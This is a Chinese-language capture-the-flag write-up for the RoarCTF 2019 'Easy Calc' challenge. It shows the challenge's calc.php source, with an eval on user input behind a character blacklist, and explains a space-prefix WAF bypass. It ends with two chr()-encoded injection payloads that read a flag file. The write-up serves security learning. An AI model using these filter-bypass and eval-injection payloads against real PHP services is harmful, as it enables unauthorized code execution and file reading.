当前位置: 首页 > 工具软件 > 27calc > 使用案例 >

[CTF][RoarCTF 2019]Easy Calc 1

储仲渊
2023-12-01

解题思路

1 尝试
看网页源码,有set waf的提示信息。
尝试各种注入,发现几种不同的报错,基本确定单引号、双引号等关键符号被过滤。
让人很费解的是只要是字母都会报错。在这一步上没有有效思路。

2 搜索
带着前面尝试的结果进行搜索,发现对于网页源码中对于waf的提示没有有效利用,因为搜索结果大部分提到这种情况,试用变量名前面加%20(空格)即可绕过,试了下确实如此。重新尝试注入,这次可以输入字母,但是各种命令都会被拦截。一次无意中的误输入%20写成了$返回了calc.php的源码。

  <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

从源码中可以看出,确实各种命令需要用到的各种符号都被过滤了。再次各种搜索解决方法,有针对各种符号或关键字的过滤,但是没有本题这么变态的,没有找到有效信息。(搜到原题,都会直接跳过)

3 再次尝试
某个瞬间,之前搜索的时候被忽略的方法,被想了起来,即试用chr方法代替被过滤的关键字。潜意识中,觉得这种方法必须靠谱,只是没想到过程会如此漫长。源于对PHP的无知。
废话不多说了,过程比较曲折在于,总是使用chr(0x27)去直接替换单引号’,导致本地尝试的时候一直报错,最终发现原因所在,使用用类似scandir(chr(0x2e))方法的时候,chr(0x2e)作为一个字符串值返回,是相当于加上了单引号的,在这种情况下,如果还加上chr(0x27),无疑会出现字符串错误。
最终:

   1;?><?=print_r(readfile(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)));?>
   1;print_r(readfile(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)));

两种方法都可以。(当然,已经拿到源码了,相信还有其它更多方法)

总结:
首先还是PHP不熟;另外就是对于注入的方法或者技巧不熟,这些用于PHP的注入技巧,相信也会应用到其它类型的注入中;同理,其他类型的注入技巧,也可以应用到PHP注入中。只不过对于一些关键的场景,比如字符串这种,引号这种关键点,竟然被耽误这么久才想到,有点不能容忍。。。叹,道阻且长。

相关阅读

相关文章

相关问答